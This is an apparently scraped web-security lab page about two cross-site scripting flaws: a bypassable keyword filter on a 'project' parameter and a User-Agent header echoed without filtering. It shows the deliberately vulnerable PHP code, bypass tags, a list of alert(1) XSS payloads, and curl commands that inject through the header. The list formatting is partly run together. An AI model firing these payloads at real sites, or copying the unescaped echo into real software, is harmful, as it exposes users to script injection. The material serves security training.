Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Discover vulnerabilities in project parameter and User-Agent header
This lab contains two different XSS vulnerabilities - one in the project parameter with incomplete filtering, and another in the HTTP_USER_AGENT header with no filtering at all.
htmlspecialchars() for both first name and last name parameters.
str_replace($arr, '/\/', $_GET['project'])
echo $_SERVER['HTTP_USER_AGENT']; - completely unfiltered!
Objective: Exploit both the project parameter filter bypass and the unfiltered User-Agent header to execute XSS.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["project"])){
$arr = array('script','Script','sCript','scRipt','scrIpt','scriPt','scripT',
'SCript','SCRipt','SCRIpt','SCRIPt','img','image','svg','audio','video','body');
$re = str_replace($arr, '/\/', $_GET['project']);
echo $re;
}
echo $_SERVER['HTTP_USER_AGENT'];
<iframe>, <object>, <embed>onload, onerror, onclick<marquee>, <applet>, <isindex><SCRIPT> (all uppercase) or mixed case not in filtersrc, href, data attributescurl -H "User-Agent: PAYLOAD" URLrequests.get(url, headers={'User-Agent': 'PAYLOAD'})This lab demonstrates:
For secure web applications:
<iframe src="javascript:alert(1)"><object data="javascript:alert(1)"><embed src="javascript:alert(1)"><marquee onstart=alert(1)><details ontoggle=alert(1) open><select onfocus=alert(1) autofocus><script>alert(1)</script>"><script>alert(1)</script>'><img src=x onerror=alert(1)><svg onload=alert(1)>javascript:alert(1)<body onload=alert(1)>curl "http://site.com?project=PAYLOAD"curl -H "User-Agent: PAYLOAD" URL